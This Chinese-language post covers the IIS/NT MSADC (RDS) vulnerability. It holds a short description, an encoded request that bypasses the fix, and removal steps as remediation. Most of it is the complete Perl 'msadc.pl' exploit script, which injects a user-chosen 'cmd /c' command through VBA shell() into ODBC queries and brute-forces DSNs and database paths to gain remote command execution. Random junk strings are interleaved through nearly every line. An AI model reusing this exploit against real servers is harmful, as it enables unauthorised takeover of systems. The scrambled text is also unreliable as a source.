IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
#lc6-K# =zu;npM 涉及程序:
5A<}*T Microsoft NT server
Xppv p{:y?0pGN 描述:
CM%;/[WBxy 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?J-\}X yL),G*[p\} 详细:
>TiEYMW 如果你没有时间读详细内容的话,就删除:
:dNJ2&kJ c:\Program Files\Common Files\System\Msadc\msadcs.dll
OMM5ALc(F 有关的安全问题就没有了。
,Xr`tQ<@ b I`JG:^b 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
0
/9 C=v *Mb'y d/| 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
'oH3| 关于利用ODBC远程漏洞的描述,请参看:
eoXbZ A}}dc:$C http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6nREuT'k 3SI0etVr 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
HA7%8R*.2i http://www.microsoft.com/security/bulletins/MS99-025faq.asp O /:FY1 \w"~DuA 这里不再论述。
*K|ah:(r1\ zR<fz 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
9gglyoZ% O;i0xWUh /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,p /{!BX 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
k"C'8<T)' z'Z[mrLq :KR
KD #将下面这段保存为txt文件,然后: "perl -x 文件名"
&W c$VDC !|j|rYi- #!perl
><>%;HZ #
\ q3ui}-9 # MSADC/RDS 'usage' (aka exploit) script
*A4eYHn@ #
~I9o* cq # by rain.forest.puppy
p&5>j\uJ1& #
y/kB`Z(Yj # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
CJ7S5 # beta test and find errors!
qVI0?B
x z+{+Q9j use Socket; use Getopt::Std;
}/h&`0z` getopts("e:vd:h:XR", \%args);
BvH?d]% 8e^u KYR< print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
k<MQ */_ 'pt if (!defined $args{h} && !defined $args{R}) {
^\kH^ print qq~
Jz3,vVfQ: Usage: msadc.pl -h <host> { -d <delay> -X -v }
!s?SI=B8 -h <host> = host you want to scan (ip or domain)
m(d|TwG{ -d <seconds> = delay between calls, default 1 second
tK/.9qP -X = dump Index Server path table, if available
;<thEWH;Y -v = verbose
W amOg0 -e = external dictionary file for step 5
iK+Vla`} Jp%5qBS^ Or a -R will resume a command session
F3]VSI6^E, Lq1?Y
~; exit;}
MB $aN': <VQ)}HW;k $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
k`A39ln7wu if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
-%gEND-AP if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
f8aY6o"i if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
f$n5$hJlQ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
U djYRfk if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
("r:L<xe& Ir5|H|b< if (!defined $args{R}){ $ret = &has_msadc;
UqyW8TCf? die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
q mv0 LU yP>025o't print "Please type the NT commandline you want to run (cmd /c assumed):\n"
T:Ee6I 3l . "cmd /c ";
<<E9MIn_ $in=<STDIN>; chomp $in;
EU>`$M&w- $command="cmd /c " . $in ;
!lo
/L al-rgh if (defined $args{R}) {&load; exit;}
NdSuOkwwt y Vm>Pj6 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
X{Hh^H &try_btcustmr;
Mp>(cs y+w,j] print "\nStep 2: Trying to make our own DSN...";
{j;` wN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
w=n(2M56C J 7 G-qF\ print "\nStep 3: Trying known DSNs...";
tq3Rc}
&known_dsn;
OG$v"Yf~ @ \XeRx; print "\nStep 4: Trying known .mdbs...";
_ZFEo< `' &known_mdb;
o kA< P\<:.8@$S if (defined $args{e}){
I[v`)T'_{ print "\nStep 5: Trying dictionary of DSN names...";
W]7/
e &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
a!-J=\>9 c.b| RM0; print "Sorry Charley...maybe next time?\n";
s.Bb@Jq exit;
YURMXbj X(X[v] ##############################################################################
,Kl?-W@ %Nvw`H sub sendraw { # ripped and modded from whisker
qIQRl1Tw;V sleep($delay); # it's a DoS on the server! At least on mine...
*o4a<.hd2 my ($pstr)=@_;
Uc'}y!R socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
)RvX}y- die("Socket problems\n");
EY<"B2_% if(connect(S,pack "SnA4x8",2,80,$target)){
m8b,_1 select(S); $|=1;
/e?0Iv"
8> print $pstr; my @in=<S>;
M<n'ZDK`W select(STDOUT); close(S);
{srxc4R` return @in;
`&7tADFB } else { die("Can't connect...\n"); }}
-fmJkI 7>BfHb ##############################################################################
w4Df?)Z G$MEVfd" sub make_header { # make the HTTP request
3Cc#{X-+ my $msadc=<<EOT
la_c:#ho POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
C !Srv7 User-Agent: ACTIVEDATA
\3^ue0 Host: $ip
1ONkmVtL Content-Length: $clen
gCC7L(1 Connection: Keep-Alive
t(-,mw htR.p7&Tn ADCClientVersion:01.06
p/VVb% Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
u;-fG9xs L/exR6M7 --!ADM!ROX!YOUR!WORLD!
3N|z^6`# Content-Type: application/x-varg
FA$32*v Content-Length: $reqlen
rf:H$\yw Q= xXj'W- EOT
){"?@1vP ; $msadc=~s/\n/\r\n/g;
p^|l ',e return $msadc;}
,&WwADZ-s =urGs`\ ##############################################################################
4}v|^_x-i ;-kDJi sub make_req { # make the RDS request
\rzMgR$/rj my ($switch, $p1, $p2)=@_;
qrw my $req=""; my $t1, $t2, $query, $dsn;
*|dK1'Xr BDWbWA
6 if ($switch==1){ # this is the btcustmr.mdb query
'u;O2$ $query="Select * from Customers where City=" . make_shell();
_3yG<'f[Y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
QO(F%&v++ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!p/?IW+ !=,Y=5M, elsif ($switch==2){ # this is general make table query
-|uoxj> $query="create table AZZ (B int, C varchar(10))";
`>)Ge](oN $dsn="$p1";}
!Vw1w1 z_fjmqa? elsif ($switch==3){ # this is general exploit table query
-HQbvXAS $query="select * from AZZ where C=" . make_shell();
jxkjPf? $dsn="$p1";}
s{yw1: a~$Y;C_#< elsif ($switch==4){ # attempt to hork file info from index server
3S7"P$q $query="select path from scope()";
z77>W}d $dsn="Provider=MSIDXS;";}
~Q]5g7k=& ,Q7;(&x~ elsif ($switch==5){ # bad query
)B0%"0?`8 $query="select";
0O>ClE~P $dsn="$p1";}
~;#}aQYo Q'jw=w!|g $t1= make_unicode($query);
ikV;]ox $t2= make_unicode($dsn);
={zTQ+7S` $req = "\x02\x00\x03\x00";
3EICdC
$req.= "\x08\x00" . pack ("S1", length($t1));
uI/
wR! $req.= "\x00\x00" . $t1 ;
G#GZt\)F $req.= "\x08\x00" . pack ("S1", length($t2));
9DNp $req.= "\x00\x00" . $t2 ;
SI+Uq(k $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
KRC"3Qt
return $req;}
znwKwc8, Nb`qM]& ##############################################################################
-m%`Di!E `z0q:ME sub make_shell { # this makes the shell() statement
c:Nm!+5_( return "'|shell(\"$command\")|'";}
8$
u"92 '1gfXC ##############################################################################
N8dxgh!, R/ZScOW[ sub make_unicode { # quick little function to convert to unicode
Pp tuXq%U my ($in)=@_; my $out;
P$#: $U@ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6D`n^ uoP return $out;}
~E7IU<B =,#--1R7g ##############################################################################
Ct w <-' UgC65O2 sub rdo_success { # checks for RDO return success (this is kludge)
lFyDH{! my (@in) = @_; my $base=content_start(@in);
w&aZ 97{ if($in[$base]=~/multipart\/mixed/){
Oti*"dV\:: return 1 if( $in[$base+10]=~/^\x09\x00/ );}
wc4BSJa,19 return 0;}
j,+]tHC- *c94'T cl ##############################################################################
*kl :/# {4G/HW28 sub make_dsn { # this makes a DSN for us
K%? g6j my @drives=("c","d","e","f");
VIP7j(#t_g print "\nMaking DSN: ";
=\WF +r]V foreach $drive (@drives) {
1^}I?PbqV print "$drive: ";
Ec@n<KK# my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
WYUDD_m "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
6`e7|ilh6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Z)#UCoK!c $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
a,c!#iyl3 return 0 if $2 eq "404"; # not found/doesn't exist
9_?xAJ if($2 eq "200") {
"+ou!YK+ foreach $line (@results) {
<ukBAux,D return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
>Q\Kc=Q| } return 0;}
{7OHEArv
c0gVW~I1 ##############################################################################
n|~y
>w4
:-46"bP. sub verify_exists {
67II9\/ my ($page)=@_;
+O.-o/ my @results=sendraw("GET $page HTTP/1.0\n\n");
2M-[x"\1/ return $results[0];}
P9
<U+\z &3[oM)-V ##############################################################################
5*pzL0,Y AAevN3a#nI sub try_btcustmr {
vt|R)[, my @drives=("c","d","e","f");
g4[VgmhJ my @dirs=("winnt","winnt35","winnt351","win","windows");
!wfW0?eu 9Ux( foreach $dir (@dirs) {
,RV
qYh(-| print "$dir -> "; # fun status so you can see progress
_{K mj,q foreach $drive (@drives) {
Cku"vVw, print "$drive: "; # ditto
bP&QFc $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ixdsz\< $reqlenlen=length( "$reqlen" );
%L+q:naZe $clen= 206 + $reqlenlen + $reqlen;
L=4+rshl!_ !mmMAsd, my @results=sendraw(make_header() . make_req(1,$drive,$dir));
}'$PYAf6 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
KhHFJo[8sf else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$')C& 8s0+6{vW ##############################################################################
MEiP&=gX! Xo34~V@( sub odbc_error {
|`5IP8Z my (@in)=@_; my $base;
]dpL
PR my $base = content_start(@in);
vwU1}H if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>.iF,[.[F< $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f~`=I NrU $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q5+1'mzAB $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'dLw8&T+W return $in[$base+4].$in[$base+5].$in[$base+6];}
!*N9PUM print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
<1D|TrP print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
]%' AZ`8 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Qd[_W^QI 1UP=(8j/ ##############################################################################
tJ\
$% a#YK1n[! sub verbose {
zfeT>S+ my ($in)=@_;
!@ ^6/= return if !$verbose;
iVXt@[ print STDOUT "\n$in\n";}
lK0ny>RB [0 F~e ##############################################################################
$.SBW=^V \#{PV\x:Nn sub save {
@NiuT%#c my ($p1, $p2, $p3, $p4)=@_;
\CL8~ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ANM#Kx+ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Ax;[ Em?I close OUT;}
?Y( H3A$YkK [ ##############################################################################
2r,
c{Ah@D 1qRquY sub load {
qb>41j9_t my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*NmY] open(IN,"<rds.save") || die("Couldn't open rds.save\n");
mlnF,+s @p=<IN>; close(IN);
UerbNz| $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
`^bP9X_a $target= inet_aton($ip) || die("inet_aton problems");
cm< #zu3~S print "Resuming to $ip ...";
8>&@"j $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
m8q4t,<J if($p[1]==1) {
va6Fp2n<1* $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
.uuhoqG0 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
EuK}L[Kl my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
b3ohTmy4( if (rdo_success(@results)){print "Success!\n";}
YV
O$`W^N else { print "failed\n"; verbose(odbc_error(@results));}}
m ptFd elsif ($p[1]==3){
/Z:j:l if(run_query("$p[3]")){
#,%bW[L<N print "Success!\n";} else { print "failed\n"; }}
?d7,0Ex
P elsif ($p[1]==4){
x< A-Ws{^V if(run_query($drvst . "$p[3]")){
-NBVUUAgN print "Success!\n"; } else { print "failed\n"; }}
V(MYReaPC] exit;}
RY , <* .H" ?&Mf ##############################################################################
AUnfhk@$ 8tj]@GE sub create_table {
qX\*lm/l my ($in)=@_;
(bsx|8[ $reqlen=length( make_req(2,$in,"") ) - 28;
|&; ^?M $reqlenlen=length( "$reqlen" );
)4yP(6|lx $clen= 206 + $reqlenlen + $reqlen;
8dGsV5" * my @results=sendraw(make_header() . make_req(2,$in,""));
X0/slOT return 1 if rdo_success(@results);
NJUKH1lIhR my $temp= odbc_error(@results); verbose($temp);
`Ij@;=( return 1 if $temp=~/Table 'AZZ' already exists/;
^q:-ZgM> return 0;}
b}[S+G-9W Y6` xb` ##############################################################################
1EyN
|m| 4&iQo' sub known_dsn {
m2(>KMbi # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
4Yj1Etq.E my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
.ZTvOm'mB^ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
5S~ H[>A" "banner", "banners", "ads", "ADCDemo", "ADCTest");
z$~x 2< a3@E`Z foreach $dSn (@dsns) {
$R9D
L^iD print ".";
7EJ2 On next if (!is_access("DSN=$dSn"));
PTQ#8(_, if(create_table("DSN=$dSn")){
WR;1 print "$dSn successful\n";
HK;NR.D if(run_query("DSN=$dSn")){
LP2~UVq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
[h/T IGE\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
\TQZZ_Z 8Q'Emw | ##############################################################################
$%bSRvA F-&tSU, sub is_access {
EL 5+pt my ($in)=@_;
u#0snw~)/ $reqlen=length( make_req(5,$in,"") ) - 28;
]}2)U $reqlenlen=length( "$reqlen" );
V;M_Y$`Lh $clen= 206 + $reqlenlen + $reqlen;
BEdCA]T my @results=sendraw(make_header() . make_req(5,$in,""));
GEBSUvM 7 my $temp= odbc_error(@results);
UcRP/LR%C verbose($temp); return 1 if ($temp=~/Microsoft Access/);
['d9sEv . return 0;}
|Y9>kXM l i'IT,jz! ##############################################################################
hZ&KE78? Pfd1[~, sub run_query {
+7_qg
i7: my ($in)=@_;
broLC5hbQU $reqlen=length( make_req(3,$in,"") ) - 28;
){^J8]b7# $reqlenlen=length( "$reqlen" );
cD!,ZL $clen= 206 + $reqlenlen + $reqlen;
8=8hbdy; my @results=sendraw(make_header() . make_req(3,$in,""));
lx)^wAO4 return 1 if rdo_success(@results);
@X==[gQ my $temp= odbc_error(@results); verbose($temp);
q+ax]=w return 0;}
MpV<E0CmE /bo}I-<2 ##############################################################################
Z)?$ZI@ >3 o4 U2 sub known_mdb {
p~D}Iyww1_ my @drives=("c","d","e","f","g");
{,>G 1>Yv my @dirs=("winnt","winnt35","winnt351","win","windows");
J'44j;5& my $dir, $drive, $mdb;
C:QB=?%; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
nm^HL| iRQ!J1SGcG # this is sparse, because I don't know of many
d0El2Ct8 my @sysmdbs=( "\\catroot\\icatalog.mdb",
7'0Vb!( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
&K ~k'P~m "\\system32\\certmdb.mdb",
&g`IRz "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
m,.Y:2?*V +VIA@`4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
$:9t(X)H "\\cfusion\\cfapps\\forums\\forums_.mdb",
c*bvZC^6 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
je] DR~ "\\cfusion\\cfapps\\security\\realm_.mdb",
'&IGdB I "\\cfusion\\cfapps\\security\\data\\realm.mdb",
I"Oq< _ "\\cfusion\\database\\cfexamples.mdb",
6^`iuC5 "\\cfusion\\database\\cfsnippets.mdb",
X\^nV "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
1IXtu "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
)Z7Vm2a "\\cfusion\\brighttiger\\database\\cleam.mdb",
Uh}PB3WZ "\\cfusion\\database\\smpolicy.mdb",
2]!@)fio` "\\cfusion\\database\cypress.mdb",
|iM,bs "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
HsY5wC "\\website\\cgi-win\\dbsample.mdb",
-3K h
>b) "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
w~lH2U'k} "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
sSM"~_y\ ); #these are just
l;-Ml{}|0 foreach $drive (@drives) {
j G8;p41 foreach $dir (@dirs){
Knwy%5.Z foreach $mdb (@sysmdbs) {
DiJLWXs print ".";
N
J3;[qJ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
VotC YJ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
JEjxY& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
\!u<)kkyT print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Lqgrt]L_" } else { print "Something's borked. Use verbose next time\n"; }}}}}
F};R XKp&GE@Y foreach $drive (@drives) {
3>O|i2U foreach $mdb (@mdbs) {
%:3XYO.w- print ".";
F*72g)hVh if(create_table($drv . $drive . $dir . $mdb)){
RQVu~7d[ print "\n" . $drive . $dir . $mdb . " successful\n";
3j7FG%\ if(run_query($drv . $drive . $dir . $mdb)){
b8WtNVd print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
cu!%aM,/<- } else { print "Something's borked. Use verbose next time\n"; }}}}
jn(x-fj6R }
c1YDln "@V yc6L ##############################################################################
L2H j.E=WLKV* sub hork_idx {
#GzALF97 print "\nAttempting to dump Index Server tables...\n";
kK&w5' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
WzIUHNn'I $reqlen=length( make_req(4,"","") ) - 28;
IJ^~,+
$reqlenlen=length( "$reqlen" );
'a#lBzu\b $clen= 206 + $reqlenlen + $reqlen;
5`h$^l/ my @results=sendraw2(make_header() . make_req(4,"",""));
p2vN=[g9) if (rdo_success(@results)){
J%"BCbxW~B my $max=@results; my $c; my %d;
0|&@)` for($c=19; $c<$max; $c++){
@MSmg3& $results[$c]=~s/\x00//g;
C- .;m $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
F#Lo^ 8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
br I;}m $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
rA~f68h| $d{"$1$2"}="";}
'*J+mZt N foreach $c (keys %d){ print "$c\n"; }
BJ|l } else {print "Index server doesn't seem to be installed.\n"; }}
fU>l:BzJK 6bm 7^e( ##############################################################################
,#Z%0NLe [LoQYDku sub dsn_dict {
{npm9w<; open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:=Olp;+_ while(<IN>){
*,\v|]fc $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
$*q|}Tvl# next if (!is_access("DSN=$dSn"));
:ld~9 if(create_table("DSN=$dSn")){
.}==p&( print "$dSn successful\n";
VN`.*B|9[ if(run_query("DSN=$dSn")){
,`geOJn'
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
s%)f<3=a print "Something's borked. Use verbose next time\n";}}}
&'uP?r9c$ print "\n"; close(IN);}
;cMQ0e Oeh A3$|# ##############################################################################
7FC!^)x1 ,Lig6Z` sub sendraw2 { # ripped and modded from whisker
|ADf~-AY sleep($delay); # it's a DoS on the server! At least on mine...
8t!jo.g my ($pstr)=@_;
^r~[3NT socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?eS;Yc die("Socket problems\n");
YBt=8`r if(connect(S,pack "SnA4x8",2,80,$target)){
64B.7S88 print "Connected. Getting data";
<>HtXn/ open(OUT,">raw.out"); my @in;
x^ `/&+m select(S); $|=1; print $pstr;
VYG@_fd!x while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<6UXk[y close(OUT); select(STDOUT); close(S); return @in;
sVHF\{< } else { die("Can't connect...\n"); }}
q T6y& Rqe.=+Qs ##############################################################################
f@i#Znkf*? Y 9$jJ1V sub content_start { # this will take in the server headers
UarLxPQ my (@in)=@_; my $c;
T]th3* for ($c=1;$c<500;$c++) {
a_b#hM/c; if($in[$c] =~/^\x0d\x0a/){
Fb{N>*l. if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
$1.-m{Bd else { return $c+1; }}}
V0;"Qa@q return -1;} # it should never get here actually
7_\G|Zd !v8R( ##############################################################################
$Cz2b/O mG[jR*JW sub funky {
6 byeO&d my (@in)=@_; my $error=odbc_error(@in);
2 7)IfE if($error=~/ADO could not find the specified provider/){
VeQGdyhY print "\nServer returned an ADO miscofiguration message\nAborting.\n";
\5a.JfF exit;}
UFj H8jSBx if($error=~/A Handler is required/){
)Rn\6ka print "\nServer has custom handler filters (they most likely are patched)\n";
gX"-3w exit;}
\c2x
udU if($error=~/specified Handler has denied Access/){
cZVx4y%kz print "\nServer has custom handler filters (they most likely are patched)\n";
|]G%b[ exit;}}
<|r|s }u8(7 ##############################################################################
uWJJ\ [/a
AH<9b sub has_msadc {
TtkHMPlm_ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
kL DpZ{ my $base=content_start(@results);
C3'xU` =7 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
oJA_"xp return 0;}
d*8*9CpO: iq' PeVo ########################
k]p|kutQCy Jl_W6gY"Z 3dN`Q:1R9 解决方案:
[H*JFKpx 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&g;!n&d zP 2、移除web 目录: /msadc